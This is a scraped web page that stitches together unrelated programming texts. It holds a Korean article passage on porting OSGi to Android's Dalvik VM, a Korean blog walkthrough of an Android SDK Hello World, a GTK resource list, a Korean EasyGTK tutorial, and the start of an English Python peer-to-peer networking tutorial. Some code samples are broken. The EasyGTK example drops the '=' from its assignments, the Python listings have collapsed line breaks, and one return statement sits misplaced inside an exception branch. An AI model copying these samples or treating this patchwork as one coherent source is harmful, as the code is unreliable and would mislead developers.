또 한 안드로이드에서 오브젝트의 모듈성에 대한 문제점이 노출되고 있는데, 그것은 바로 Dex 파일의 구성이다. 표준 클래스 로더가 바이트 코드를 로드하려면 반드시 하나의 JAR 파일과 함께 작성되어야 한다. 따라서 JAR 파일 내에 위치한 번들을 찾기 위해 번들-클래스패스(Bundle-Classpath) 같은 기능을 사용하려면 JAR 파일 전체를 핸들(handle)하는 불필요한 메모리 누수가 발생한다. 이러한 문제점들은 하나 내지 소수의 애플리케이션을 작성하고 구동할 때보다, 다수의 애플리케이션들이 구동될 때에 치명적인 약점으로 나타날 수 있다.

그렇다면 OSGi와 안드로이드가 결합될 때에 가져다주는 장점은 무엇인가? 그것은 단연 번들의 재사용성이다. J2ME, J2SE를 기반으로 하는 수많은 기존의 번들 코드를 그대로 사용할 수 있고, 또한 기존의 코드를 이용해 다양한 서비스의 참조나 생성을 통해 안드로이드용 애플리케이션을 빠르게 작성할 수 있다. 또한 안드로이드 플랫폼에서 작성하는 애플리케이션에 비해 OSGi 프레임워크의 번들은 OSGi에서 지원하는 다이내믹한 코드의 모듈성과 강력한 번들 라이프사이클 관리시스템으로 인해 코드 사이즈가 작아진다.

그러므로 안드로이드-OSGi 애플리케이션(번들 구현)은 실제로 수행되는 Activity 코드와 GUI 부분에 집중해 개발되어 기존의 애플리케이션보다 훨씬 작은 바이트 코드로 개발할 수 있다. 마지막으로는 강력한 개발 툴의 지원을 꼽을 수 있다. 이미 OSGi는 이클립스에 통합되어 있고 RCP & eRCP라는 개발방법론으로 임베디드-모바일-데스크탑에 이르기까지 다양한 플랫폼에서 전 세계 자바 개발자들에게 각광받고 있다. 이러한 통합된 개발환경과 방법론으로 전 세계 자바 개발자들에게 안드로이드는 더욱 쉽게 다가갈 수 있을 것이다. 안드로이드-OSGi 솔루션이 이러한 장점을 지니고 있어 기존의 OSGi 분야 강자인 IBM과 Prosyst도 지난해 구글에서 공개된 이후부터 이 분야를 강력하게 밀고 있다.

그럼 안드로이드-OSGi는 쉽게 통합되고 연동될 수 있는가? 이에 대한 답은 올해 3월 미국 캘리포니아에서 열린 이클립스 개발자 컨퍼런스 ‘EclipseCON’에서 찾아볼 수 있었다. EclipseCON은 과거 이클립스 분야의 오픈소스 개발자들이 모여 시작된 작은 컨퍼런스인데, 재작년부터 OSGi DevCON과 통합되어 이클립스 뿐만 아니라 RCP, OSGi, Server Framework 등 다양한 주제들로 꾸며지고 있다. 이번 OSGi 개발자 세션 역시 별도로 열렸는데, 이번 컨퍼런스에서 IBM의 B.J Hargrave가 안드로이드-OSGi 통합이라는 주제를 발표해 큰 호응을 이끌어냈다.

안드로이드-OSGi 연동은 크게 두 가지로 이뤄진다. 하나는 안드로이드 플랫폼에 프레임워크를 탑재하는 부분이고, 또 하나는 다이내믹한 번들의 수정 또는 개발이다.

안드로이드-OSGi 통합

첫 번째로 안드로이드에 OSGi를 탑재해 구동하는 것은 그렇게 어려운 문제는 아니다. 그것은 이미 OSGi가 다양한 VM에 포팅되어 탑재된 경험이 있기 때문이다. OSGi는 기존 JVM이 아닌 Dalvik VM을 통해 구동되므로, Dexification이라는 절차를 거쳐 JAR 파일이 Dex 파일로 수행됨을 인식시켜 준다.

Apache-Felix에서는 큰 문제없이 구동되었으나, Equinox에서는 몇 가지 사항을 수정해야만 했다. Equinox에서는 어떤 Properties를 수정하기 위해 CodeSource를 사용하는데 반해, 안드로이드에서는 ProtectionDomain이 null이기 때문에 아예 CodeSource를 사용할 수 없다. 따라서 직접 코드에 정해 주어야만 한다.

또한 ClassLoader.getResource()는 hook된 Confi guration Property File의 리스트를 사용하는데 반해, 안드로이드는 아예 null 값을 리턴하므로 configuration.ini에 직접 리스트 값을 정의해야 한다. 이러한 각 OSGi와 안드로이드의 환경설정을 맞춰 주면, 안드로이드에서 OSGi 프레임워크를 수행하는 것에 무리가 없다.

마 지막으로, 번들의 구성이다. 번들의 개발은 OSGi 프레임워크 구동과는 좀 다른 차원의 문제이다. 가장 큰 문제점들이 자바에서 공식적으로 발표되고 사용하는 API가 수정을 거쳐야 하거나 또는 아예 안드로이드에서는 지원되지 않는다는 것이다. 이 부분은 매우 중요한 부분으로 OSGi 프레임워크에서는 번들을 다이내믹하게 로드하고 수행하는 데 표준 API가 필요한다. 만일 안드로이드가 지원하지 않으면 독자적인 안드로이드 API를 사용하기 위해 직접 개발해 주어야 하는 문제가 따른다. 그것은 무엇보다 Dalvik VM의 특성을 따르게 된다. 일반적인 Class Loader.defineClass()가 작동하지 않고 Dalvik의 android. dalvik.Dexfile을 사용하거나, Nested JARs와 Directory Bundles 기능을 사용할 수 없다. 또한 간단한 번들 클래스패스(Bundle Class path)만 사용할 수 있는 등의 제약사항들이 있다. 따라서 그에 대한 Exception 처리 또는 코드를 수정해야만 한다.

하지만 가장 큰 문제점은 역시 수행시간이다. Dexification이라고 불리는 단계에서 바이트 코드와 Dex 파일 변환이 동시에 이뤄지기가 어렵기 때문에 JIT 기능을 수행하는 성능이 매우 떨어지게 된다. Dexification의 JIT 최적화 문제는 반드시 해결되어야 하는 이슈이다. 또한 풀 번들 클래스패스(Full Bundle ClassPath) 지원도 필요하다. 지금은 간단한 번들 클래스패스 지원만 가능한데, 이 부분은 불필요한 메모리 낭비가 동반되기 때문에 역시 반드시 해결되어야 하는 부분이다. 따라서 이러한 문제점을 보완하고 해결하기 위해 Equinox Incubator 프로젝트로 안드로이드-OSGi 솔루션이 개발되고 있다.

Prosyst OSGi와 안드로이드

안 드로이드 플랫폼 위에 OSGi를 탑재하려는 벤더들의 노력들이 이어지고 있는데, 그중 대표적인 업체가 바로 Prosyst이다. 이 업체에서도 역시 안드로이드 플랫폼에 자사의 OSGi 솔루션을 탑재하는 것을 목표로 다양한 연구 개발을 진행하고 있는데, 대표적으로 OSGi 상용화 솔루션으로 널리 알려진 mBS와 OSGi 전용 DBMS-DB4O을 안드로이드에 탑재해 구성한 Servo 솔루션을 들 수 있다. Prosyst에서 내세우는 안드로이드-OSGi의 장점은 다음과 같다.

Lack of class-sharing

안 드로이드는 각각의 VM에서 프로세스가 구동되는 구조이므로, 클래스의 공유는 클래스를 복제하는 방법으로 지원한다. 이러한 구조는 심각한 메모리 누수를 가져오고, 성능의 저하가 예상된다. 안드로이드와 달리 OSGi는 직접적인 클래스 공유를 통해 메모리 사용량을 줄이고 성능 향상을 나타낸다.

Fine-grained components

안 드로이드는 구조적으로 컴포넌트 간 IPC와 같은 추상화 레벨의 인터페이스로 통신하게 된다. 컴포넌트 간의 가장 효율적인 통신 방안은 Directly Method Calls이다. 이러한 컴포넌트 간 통신 모델은 이클립스의 RCP, eRCP와 같은 플러그인 아키텍처를 가능하게 하며, 한층 효율적인 컴포넌트 구성을 돕는다.

Device Management

원 격 관리 및 지원 기능은 모바일 디바이스와 서비스 업체의 서버간 중요 기능으로 점차 부각되고 있다. 하지만 아쉽게도 안드로이드는 원격 관리에 대한 기능이 지원되지 않는다. OSGi에서는 rOSGi를 비롯해 OMA-DM을 통한 다양한 원격 모바일 솔루션을 이미 상용화해 서비스하고 있다.

이러한 특징을 전면에 내세우며 Prosyst는 mBS와 Servo 솔루션의 상용화에 심혈을 기울이고 있다. mBS가 전통적인 안드로이드-OSGi 솔루션이라면, Servo는 더 현실적으로 안드로이드에 접근하고 있다. 이는 안드로이드를 채택한 휴대폰에서 구현 및 저장되는 다양한 데이터를 저장하고 관리하는 데 초점을 맞춘 솔루션이다.

특히 사용자가 지닌 다양한 형태의 자료를 저장하는 것을 UGD(User Generated Data)로 명명하고 기존 안드로이드의 SQLite가 아닌 DB4O라는 OODB를 채택해 사용한다. DB4O 엔진이 OSGi 번들로 구성되어 있어서 다이내믹한 로드와 OSGi의 직접적인 관리를 받게 된다.

한편 DB4O는 OSGi 번들용으로 구현되어 기존의 임베디드 DB보다도 작은 코드 사이즈와 빠른 성능, 완벽한 SQL 지원이 특징이다. 그리고 무엇보다 오픈소스로서 SQLite를 채택하고 있는 안드로이드 플랫폼에 더욱 적합한 OSGi용 DB 솔루션으로 주목받고 있다.

이상으로 우리는 구글에서 공개한 안드로이드 플랫폼과 안드로이드 위에 OSGi를 탑재하는 솔루션에 대해 살펴봤다. 휴대폰 소프트웨어 개발이 지금까지 다른 플랫폼에 비해 폐쇄적이었던 터라 일반 개발자들이 다가가기 어려웠던 분야였는데, 안드로이드는 그러한 장벽을 없애 휴대폰 플랫폼에 전 세계 개발자들이 쉽게 다가갈 수 있는 길을 열었다는 데 큰 의미가 있다고 생각한다. 또한 안드로이드를 통해 지금보다 훨씬 강력하고 다양한 기능을 가진 휴대폰이 우리 곁에 빠르게 다가올 것이다.

[레벨:6]외딴집
2008.10.18 19:05:23 (*.234.48.86)
179

안드로이드(Android SDK 1.0)

http://code.google.com/android/index.html

Aple의 iPhone, Google(OHA)의 구글폰, Rim의 블렉베리 볼드, Nokia의 N시리즈, 삼성의 옴니아폰등

국내에 발표될 기대되는 스마트폰들로 행복한 비명을 지르는 이때

존재만 인식되고 있었던 안드로이드가 눈에 밟히기 시작했다.

사용자 삽입 이미지
What is the Android?

현재 인터넷기반 서비스 시장을 점령한 구글은 모바일 시장에 진출하기 위해

기존의 세력들에 대항하기 위해 OHA(Open Handset Alliance)를 결성하였다.

안드로이드는 OHA에서 발표한 첫번째 결과물이며 complete, open, and free 모바일 플랫폼이다.

잠깐 Architecture를 보면

사용자 삽입 이미지


다음과 같다. (흠 복잡하군 -_-;;) 내공이 부족한지라 보이는건

리눅스 커널위에 있고 OpenGL등을 포함한 라이브러리가 있고 Dalvik Virtual Machine이 있다.

Dalvik Virtual Machine이라... 흠.. 이게 여기 왜 들어갔을까??

가장 유력한 설은 sun사에 license fee를 내지 않기 위해서 J2SE의 유틸부분 패키지만 가져다 쓰고

나머지 필요한 부븐은 구글에서 직접 개발해서 기존의 모바일 코드와 거의 1:1 matching이 되게 완성시켰다고 한다.

자 이제 직접 해보자. 역시 전산쟁이들은 말 길어지면 피곤하다. 안드로이드니깐 빨리 "헬로 안드로이드" 찍어보자.

<Android SDK 0.9 beta 설치 및 샘플 코드 실행>

드로이드 홈페이지 에 가서 오측 상단에 Download the SDK를 누른다.

License 약관 읽어보고(-_-;;;) 동의하고 후딱 컨틴뉴 클릭!

플랫폼에 맞는 sdk 다운로드 받으면 된다. 나는 윈도우즈에서 개발할꺼니깐 윈도우즈 버젼 클릭

다운로드를 다 받고 압축까지 풀어 놓는다.

바로 밑에 System and Software Requirements 들어가보니

이클립스랑 jdk를 다운 받아야 하겠다(이미 있는 사람은 안받아도 됨;;)
잠깐!! 이클립스는 3.3(Europa), 3.4(Ganymede) 중 택1 하고 JDK 5, JDK 6 중 택1 해야한다.
(JRE alone is not sufficient)

JDK 설치하고 이클립스 압축풀고 SDK 압축풀면 일단 환경이 어느정도 구축되었다.

나는 C:\ 밑에 이클립스 풀고 하위 폴더로 library 폴더 만들고 그 밑에 sdk 압축 풀어 놓았다.(설명을 왜이리 못해) 다시 말하면 C:\eclipse-java-ganymede-win32\eclipse\library\android-sdk-windows-0.9_beta
이런 구조를 가지고 있다.

왜 이걸 설명했냐면 나중에 이클립스에 안드로이드 플러그인 세팅 할때 필요하기때문이다.(설치된 경로 기억)

또 해줘야 할것은 SDK가 설치된 경로의 tool 하위 폴더를 path에 추가 시킨다.(흠 이거 잘 안되시면 갠적으로 연락(mail)주세요 자세히 설명해드릴께요 ;;;)

이제 드디어 이클립스에 ADT(Android Development Tools) 플러그인을 설치 해보자.

사용자 삽입 이미지

각자의 이클립스 버젼에 맞게 프로세스를 따라서 설치를 하면 된다.
사용자 삽입 이미지사용자 삽입 이미지


필자는 이클립스 3.4에 JDK5 에서 설치 했고 위 그림과 같이 세팅을 했다.

install 버튼을 클릭하면 다운로드를 다 받으면 다음 화면에 "Android Developer Tools", and "Android Editors"

를 선택하는 체크박스가 나오는데 두개 모두 선택하고 next, 라이센스 화면 나오면 동의후 finish.

이후에 백그라운드로 설치가 잘 된다. 설치후 이클립스를 재시작 하고 경로설정을 반드시 해줘야 한다.

이클립스 Window > Preferences 의 android 패널에 sdk 경로 설정

사용자 삽입 이미지

자 이제 환경설정이 끝났다.

갈증이 나서 맥주 한캔 마시면서 했더니 정말 두서없이 포스팅을 하고 있는것 같다.

그래서 아래와 같이 정리한다.

1. Android SDK 다운로드후 unpack, JDK5 or JDK6 설치, Eclipse 3.3(Europa) or Ecipse 3.4(Ganymede) 다운로드후 unpack

2. sdk 설치 경로의 tools 폴더 환경변수 path에 추가

3. 이클립스에 ADT(Android Development Tools) 설치

4. 이클립스 Window > Preferences 의 android 패널에 sdk 경로 설정


드디어 험난했던 환경 설정이 끝났다.(순간 뭔가 빼먹은거 같은 느낌이 엄습하지만 일단 고고고)

오늘의 목표("헬로 안드로이드" 출력)를 위해 다시 달린다.

이클립스에서 File > New > Project 에 들어가면

지금까지의 노력의 결실로 Android 프로젝트 생성 하는 부분이 보일것이다.(안보이면 뭔가 잘못된거임)

빨리 해보자 (두근 두근) Android Project 선택하고 next, 프로젝트 이름과 속성들 설정하고 finish

사용자 삽입 이미지사용자 삽입 이미지사용자 삽입 이미지
(세번째 그림은 properties의 각각 필드의 의미)


"Hello Android" 가 보이기 까지 얼마 안남았다.


HelloAndroid 프로젝트의 src 폴더의 com.android.hello 패키지 밑에 HelloAndroid를 열어보자.

자동 생성된 코드를 볼 수 있을 것이다.

그 코드를 아래와 같이 수정하면 드디어 99% 목표 달성한것이다.
(TextView 클래스가 import 되지 않아서 에러가 뜰텐데 ctrl + shift +o 단축키를 사용하여 자동으로 import)

package com.android.hello;import android.app.Activity;import android.os.Bundle;import android.widget.TextView;public class HelloAndroid extends Activity {   /** Called when the activity is first created. */   @Override   public void onCreate(Bundle savedInstanceState) {       super.onCreate(savedInstanceState);       TextView tv = new TextView(this);       tv.setText("Hello, Android by Keprion");       setContentView(tv);   }}

이제 실행만 시키면 된다. 으하하하

소스에서 ctrl + f11 을 누르고 Android Appication을 선택한다.

그렇게 고대하던 안드로이드 에뮬레이터가 구동된다.(로딩시간이 좀 걸린다. 끄지말고 좀 기다리면 된다.)


사용자 삽입 이미지



GTK 프로그래밍에 필요한 리소스 URL들

|
요새 GTK 프로그래밍을 맞보면서 찾아본 몇개의 필요한 GTK용 기본 사이트들.
  • 1. GTK 메인 사이트
    • 기본 GTK 패키지 소스와 Tutorial 를 비롯한 API 문서 등을 제공
  • 2. Glade
    • GUI Designer 로써 자동으로 GUI 코드를 생성한다.
  • 3. Anjunta Dev Stuido
    • QT의 KDeveloper 처럼 Glade 와 결합하여 GTK기반의 C/C++ 프로그램을 작성하는 IDE
  • 4. Windows 용 GTK Runtime 및 Glade
    • Win32용 GTK runtime dll 들과 윈도우용 Glade를 얻을 수 있다. 친절하게도 깔려있는 MSVC나 DevCPP 등의 환경을 자동으로 탐지한다. DevCpp의 경우 DevCpp의 패키지로 설치하는 것 보다 이것에 의존하는게 더 최신버전인 거 같다.

EasyGTK를 이용한 GUI 프로그래밍

GUI 툴킷 최대로 활용하기

developerWorks
문서 옵션
수평출력으로 설정

이 페이지 출력

이 페이지를 이메일로 보내기

이 페이지를 이메일로 보내기


제안 및 의견
피드백

난이도 : 초급

Patrick Lambert IT 컨설턴트/프리랜서 작가

2002 년 1 월 01 일

Gimp Toolkit (GTK+)은 사용자 인터페이스를 만드는데 사용되는 무료 툴킷이다. EasyGTK는 호출을 GTK+로 변환하는 래퍼 라이브러리이다. GTK+를 마스터하는데 필요한 시간과 노력을 줄일 수 있다. EasyGTK 코드를 분석하여 간단한 애플리케이션을 만드는 방법을 설명한다. Gimp Toolkit (GTK+)의 사용 방법도 설명한다.

Graphical User Interface (GUI) 툴킷은 오랫동안 리눅스에 존재했었다. Xlib, XT, Motif를 통해서, 훌륭한 그래픽 툴을 리눅스상에서 더욱 쉽게 만들 수 있었다. 라이브러리를 사용하여 프로그램을 만드는 방법을 설명해 놓은 문서가 포함되어 있다. 최근에 탄생한 새로운 라이브러리인 GTK+는 리눅스 라이브러리 세계에 '반향'을 일으켰다. Gimp Toolkit (GTK+)으로 매우 훌륭한 프로그램을 만들 수 있고 게다가 공짜이다. 리눅스 개발자들 사이에서는 유명하다. 단점이라면 라이브러리의 사용방법을 익혀 프로그램을 만들기까지 오랜 시간이 걸린다는 점이다. EasyGTK로 들어가보자.

GUI의 새로운 시작

이 라이브러리는 기술적으로는 래퍼 라이브러리(wrapper library)이다. 이는 개발자가 소프트웨어를 만들기 위해서는 EasyGTK C API를 사용하고, 호출한 것을 GTK+ 라이브러리로 변환한다는 것을 의미한다. 전형적인 EasyGTK 명령어는 5개 에서 10개 정도의 GTK+ 함수들이 하는 것을 수행한다. EasyGTK 호출을 사용하여 프로그램을 만드는 것은 쉽고도 빠르다는 의미도 된다.




위로


EasyGTK 실행하기

이 라이브러리를 사용하여 실행하는 기본적인 명령어를 살펴보자. EasyGTK는 다른 리눅스 프로그램 처럼 컴파일 되고 설치되어야 한다. 이것은 표준 리눅스 배포판상에서 작동한다. 일단 설치되면, 다른 라이브러리와 마찬가지로 프로그램을 컴파일 할 정적 라이브러리를 사용한다. EasyGTK를 이용한 프로그램 컴파일에 대해서는 문서화가 되었으며 사용할 수 있는 명령어 리스트도 있다. 라이브러리에 대한 이야기를 계속 진행하기 전에 다음의 간단한 프로그램 소스 코드를 보자:


코드 샘플
#include "easygtk.h"GtkWidget *win, *box, *text, *button; void main(int argc, char *argv[]){ gtk_init(&argc, &argv); win e_window_create("Hello World", 400, 200, 100, 100, exit); box e_box_create(win, E_VERTICAL, 2); text e_text_create(box, FALSE, "Hello World!", E_NO_FUNC); button e_button_create(box, "Close", exit); gtk_main();}       



윈도우
The window



위로


샘플 코드 분석

EasyGTK의 작은 프로그램은 순수한 GTK+ 코딩으로 30줄이다. 코드들이 어떤 역할을 수행하는지 라인 별로 살펴보겠다. 첫 번째 라인은 컴파일러에게 라이브러리에 있는 easygtk.h 파일을 포함(include)하라고 명령하고, 모든 EasyGTK 명령어의 정의를 포함시킨다.

다음 라인은 프로그램에서 사용 될 위젯의 선언이다. 위젯은 윈도우, 버튼, 텍스트 레이블, 설치 박스 같은 그래픽 컴포넌트를 나타내는 변수이다. main 함수에서, 우선 GTK+ 엔진을 초기화하고, 그런다음 위젯을 만든다. EasyGTK의 모든 명령어들은 "e"로 시작한다. 첫 번째 EasyGTK 명령어는 윈도우를 만든다. 모든 EasyGTK 함수들 중 어떤 매개변수를 사용할 지 결정하려면 라이브러리 문서를 참고한다. 예를 들어, e_window_create() 함수는 100x100 위치에 "Hello World"와 함께 400x200 픽셀의 윈도우를 만든다. 사용자가 윈도우를 닫으면 exit() 함수가 호출될 것이다.

이 라이브러리를 사용할 때 가장 중요한 점은 위젯 또는 컴포넌트를 윈도우 상에 어떻게 위치시킬 것인가이다. 일단 윈도우를 만들면 그 안에 박스를 놓아야 한다. 두 가지 박스 유형이 있다: 수직(vertical)과 수평(horizontal). 텍스트 레이블과 버튼을 다른 것의 상단에 놓으려면 수직 박스(vertical box)를 놓고 레이블과 버튼을 그 박스에 추가한다. 그러면 여러분이 원하는 방식으로 나타나게 된다. 윈도우의 상단에 레이블을 놓고 윈도우의 밑에 두 개의 버튼을 옆으로 하여 만들고 싶다면? 우선 수직 박스를 사용하고 그 다음 수평 박스(horizontal box)를 사용한다. 일단 박스를 추가하면 거기에 어떤 위젯이라도 추가할 수 있다. 다른 박스에도 추가할 수 있다.

다음 두 개의 명령어는 텍스트 지역(area)과 윈도우를 종료하는 버튼을 만든다. 애플리케이션이 컴파일되면 많은 것을 하지는 않는다. 이것은 단지 예제일 뿐이다. GTK+ 루프를 시작하라는 명령어는 main C 함수의 끝에 있다. GTK+ 또는 EasyGTK 애플리케이션에서, 사용자 액션은 gtk_main()로 시작하는 메인 루프에서 감지될 수 있다. 애플리케이션을 구성할 모든 위젯을 추가하면 루프를 시작하는 함수를 사용해야 한다. 이 프로그램은 루핑 한 후 사용자 액션을 기다린다. 사용자가 어떤 것을 수행하면 루프는 멈추고 지정된 함수에 제어가 부여된다. 이 경우 프로그램을 종료시키는 exit() 이다.




위로


맺음말

이 예제를 통해 간단한 애플리케이션을 만드는 방법을 설명했다. 더욱 복잡한 컴포넌트를 추가할 수 있다. EasyGTK에는 50 개의 함수들을 사용할 수 있다. 라이브러리에 있는 예제 소스 파일을 시도해보기 바란다. 또한 같은 애플리케이션에 EasyGTK와 순수한 GTK+ 명령어를 섞을 수 있다.

현재 EasyGTK는 GTK+ 1.2 버전을 지원한다. 대부분의 리눅스 배포판에 포함되어 있다. Imlib, ImageMagick, GNOME이 필요한 함수도 있다. 하지만 이러한 라이브러리의 지원 없이도 라이브러리를 컴파일 할 수 있고 EasyGTK를 사용하기 위해서 이들을 설치할 필요도 없다. 이 라이브러리는 Sun Solaris 같은 유닉스 시스템에서도 작동한다.

EasyGTK 소스 코드는 GPL 라이센스 하에 개방되어 있다. 각자의 필요에 맞게 함수들을 커스터마이징 할 수 있다. 라이브러리는 쉬운 코딩과 빠른 애플리케이션 구현에 있어서 훌륭한 도구이다.



참고자료



필자소개

Patrick Lambert는 IT 컨설턴트이자 프리랜스 작가이다. 컴퓨터와 인터넷 관련 글을 쓴다. 그는 또한 Microsoft 인증 전문가(MCP)이자 A+ 인증 테크니션이다.

The P2P Framework Implementation (Python version)

This page walks through a Python implementation of the P2P framework library itself. I will assume that you are familiar with Python. I will also assume you are familiar with the general concepts of socket programming, though you may not necessarily have used the Python networking or threading libraries. The complete source code may be downloaded here: btpeer.py.

^ TOP

Initializing a peer

Let us first examine how a peer node is initialized. As discussed above, the overall operation of a node is managed by the Peer class. The constructor of the class stores the canonical identifier (name) of the peer, the port on which it listens for connections, and the maximum size of the list of known peers that the node will maintain (this can be set to 0 to allow an unlimited number of peers in the list). The constructor also initializes several fields whose use is described in the following subsections - shutdown, handlers, and router. The following definition illustrates the Python code for accomplishing these tasks:

    def __init__( self, maxpeers, serverport, myid=None, serverhost = None ):	self.debug = 0	self.maxpeers = int(maxpeers)	self.serverport = int(serverport)        # If not supplied, the host name/IP address will be determined	# by attempting to connect to an Internet host like Google.	if serverhost: self.serverhost = serverhost	else: self.__initserverhost()        # If not supplied, the peer id will be composed of the host address        # and port number	if myid: self.myid = myid	else: self.myid = '%s:%d' % (self.serverhost, self.serverport)        # list (dictionary/hash table) of known peers	self.peers = {}          # used to stop the main loop	self.shutdown = False  	self.handlers = {}	self.router = None    # end constructor

Every peer node performs operations common to traditional network client and server applications. First, let us walk through the server-related operations, as described in the previous section.

^ TOP

The main loop

The main loop of a peer begins by setting up a socket that listens for incoming connections from other peers. To do this, we must (1) create the socket object, (2) set its options, (3) bind it to a port on which to listen for connections, and (4) actually begin listening for connections. Here is a Python method that accomplishes this, returning the initialized socket:

    def makeserversocket( self, port, backlog=5 ):	s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )	s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )	s.bind( ( '', port ) )	s.listen( backlog )	return s

The first statement creates a socket that will communicate using the IPv4 (AF_INET) protocol with TCP (SOCK_STREAM). By setting the SO_REUSEADDR option, the port number of the socket will be immediately reusable after the socket is closed (otherwise the operating system may prevent the port from being reused after the server exits, until a certain amount of time has passed). Then the socket is bound to the specified port and is set up to receive connections. The backlog parameter indicates how many incoming connections should be queued up. A value of 5 is conventionally used, although with a multithreaded server (as we are building) the parameter's value is not very significant.

Having created a server socket, the main loop of a peer loops continously, accepting connections. When an incoming connection is accepted, the server will have a new socket object used to send and receive data on the connection. The main loop then calls a separate method to handle communication with this connection in a new thread. A simple for of the main loop would thus look like this:

  s = self.makeserversocket( self.serverport )    while 1:     clientsock, clientaddr = s.accept()       t = threading.Thread( target = self.__handlepeer, args = [ clientsock ] )     t.start()

In reality, we also need to handle any errors that may occur in the process of accepting a connection, and we need to provide a mechanism so that the loop may somehow be nicely terminated (for example, when the user indicates that the program should exit). To do this, we set up the server socket to time out every 2 seconds (an arbitrary choice) and make the loop termination condition dependent on a boolean (instance) variable, shutdown. Also, we set up an exception handler to allow the main loop to be stopped by the user pressing the "Ctrl"+"Break" (or "Ctrl"+"c") keys. Here, then, is the complete mainloop method.

    def mainloop( self ):	s = self.makeserversocket( self.serverport )	s.settimeout(2)	self.__debug( 'Server started: %s (%s:%d)'		      % ( self.myid, self.serverhost, self.serverport ) )	while not self.shutdown:	    try:		self.__debug( 'Listening for connections...' )		clientsock, clientaddr = s.accept()		clientsock.settimeout(None)		t = threading.Thread( target = self.__handlepeer, args = [ clientsock ] )		t.start()	    except KeyboardInterrupt:		self.shutdown = True		continue	    except:		if self.debug:		    traceback.print_exc()		    continue	# end while loop	self.__debug( 'Main loop exiting' )	s.close()    # end mainloop method

The debug method will output various messages to an appropriate location - for example, the screen or a log file. The myid field is the identifier of the peer, and the serverhost field stores the peer's IP address (or host name). These values are initialized by the constructor for the peer object.

^ TOP

Handling a peer connection

The handlepeer method takes a newly formed peer connection, reads in a request from it, and dispatches the request to an appropriate handler (function or method) for processing. The particular handlers and types of requests will be specified by the programmer using this framework to implement a particular protocol. The handlepeer method simply looks for the appropriate handler for a message, if there is one registered with the peer object, and calls it.

handlepeer begins by encapsulating the socket connection in a PeerConnection object, to allow easy sending/receiving and encoding/decoding of P2P messages in the system.

	host, port = clientsock.getpeername()	peerconn = BTPeerConnection( None, host, port, clientsock, debug=False )

Then, handlepeer attempts to receive some data from the connection and determine what to do with it:

	    msgtype, msgdata = peerconn.recvdata()	    if msgtype: msgtype = msgtype.upper()	    if msgtype not in self.handlers:		self.__debug( 'Not handled: %s: %s' % (msgtype, msgdata) )	    else:		self.__debug( 'Handling peer msg: %s: %s' % (msgtype, msgdata) )		self.handlers[ msgtype ]( peerconn, msgdata )

The handlers field is a dictionary (hash table), mapping message types (4-character strings) to function pointers. If the message type has a corresponding entry in the dictionary, the function pointer is extracted and invoked, passing it the PeerConnection object and the actual data of the message. Upon completion of Before returning, handlepeer closes the connection. Here, then, is the complete definition of the method:

    def __handlepeer( self, clientsock ):	self.__debug( 'Connected ' + str(clientsock.getpeername()) )	host, port = clientsock.getpeername()	peerconn = BTPeerConnection( None, host, port, clientsock, debug=False )		try:	    msgtype, msgdata = peerconn.recvdata()	    if msgtype: msgtype = msgtype.upper()	    if msgtype not in self.handlers:		self.__debug( 'Not handled: %s: %s' % (msgtype, msgdata) )	    else:		self.__debug( 'Handling peer msg: %s: %s' % (msgtype, msgdata) )		self.handlers[ msgtype ]( peerconn, msgdata )	except KeyboardInterrupt:	    raise	except:	    if self.debug:		traceback.print_exc()		self.__debug( 'Disconnecting ' + str(clientsock.getpeername()) )	peerconn.close()    # end handlepeer method
^ TOP

Routing and sending messages

Using the addrouter method, the programmer may register a routing function (or method) with the Peer class to help decide how messages should be forwarded, given a destination peer id. The routing function should expect as a paremeter the name of a peer (which may not necessarily be present in the list of known peers of the node), and decide which of the known peer the message should be routed to next in order to (hopefully) reach the desired peer. The routing function should return a tuple of three values: (next-peer-id, host, port) where the host and port are the IP address of the peer identified by next-peer-id. If the message cannot be routed, the next-peer-id should be None.

The sendtopeer method takes a message type and data, along with a destination peer id, and uses the routing function to decide where to send the message next. If no routing function has been registered by the programmer, or if the routing function fails for some reason, the method fails. If the routing function successfully returns the next host/port combination to which the message should be sent, sendtopeer calls the connectandsend method to actually make the connection to the peer, package up, and send the data. If the programmer desires to receive a response from the next peer before the communication socket is closed, it will be returned by these methods.

    def sendtopeer( self, peerid, msgtype, msgdata, waitreply=True ):	if self.router:	    nextpid, host, port = self.router( peerid )	if not self.router or not nextpid:	    self.__debug( 'Unable to route %s to %s' % (msgtype, peerid) )	    return None	return self.connectandsend( host, port, msgtype, msgdata, pid=nextpid,				    waitreply=waitreply )    # end sendtopeer method

The connectandsend method connects and sends a message to a peer at the specified IP address and port. The host's reply, if desired by the caller, will be returned as a list of pairs, where each pair contains (1) the type and (2) the actual data of the message.

    def connectandsend( self, host, port, msgtype, msgdata, pid=None, waitreply=True ):	msgreply = []   # list of replies	try:	    peerconn = BTPeerConnection( pid, host, port, debug=self.debug )	    peerconn.senddata( msgtype, msgdata )	    self.__debug( 'Sent %s: %s' % (pid, msgtype) )	    	    if waitreply:		onereply = peerconn.recvdata()		while (onereply != (None,None)):		    msgreply.append( onereply )		    self.__debug( 'Got reply %s: %s' % ( pid, str(msgreply) ) )		    onereply = peerconn.recvdata()	    peerconn.close()	except KeyboardInterrupt:	    raise	except:	    if self.debug:		traceback.print_exc()		return msgreply    # end connectsend method
^ TOP

Additional methods

The Peer class provides methods supporting other fundamental functionalities of a peer node. Briefly, these include:

  • startstabilizer(stabilizer, delay): Runs the provided 'stabilizer' function in a separate thread, activating it repeatedly after every delay seconds, until the shutdown flag of the Peer object is set.
  • addhandler(msgtype, handler): Registers a handler function for the given message type with the Peer object. Only one handler function may be provided per message type. Message types do not have to be defined in advance of calling this method.
  • addrouter(router): Registers a routing function with this peer. Read the section on routing above for details.
  • addpeer(peerid, host, port): Adds a peer name and IP address/port mapping to the known list of peers.
  • getpeer(peerid): Returns the (host,port) pair for the given peer name.
  • removepeer(peerid): Removes the entry corresponding to the supplied peerid from the list of known pairs.
  • addpeerat(loc, peerid, host, port)/ getpeerat(loc)/ removepeerat(loc): Analogous to the prior three methods, except that they access direct (numeric) positions within the list of peers (as opposed to using the peerid as a hash key). These functions should not be used concurrently with the prior three.
  • getpeerids(): Return a list of all known peer ids.
  • numberofpeers():
  • maxpeersreached():
  • checklivepeers(): Attempt to connect and send a 'PING' message to all currently known peers to ensure that they are still alive. For any connections that fail, the corresponding entry is removed from the list. This method can be used as a simple 'stabilizer' function for a P2P protocol.

^ TOP

The PeerConnection class

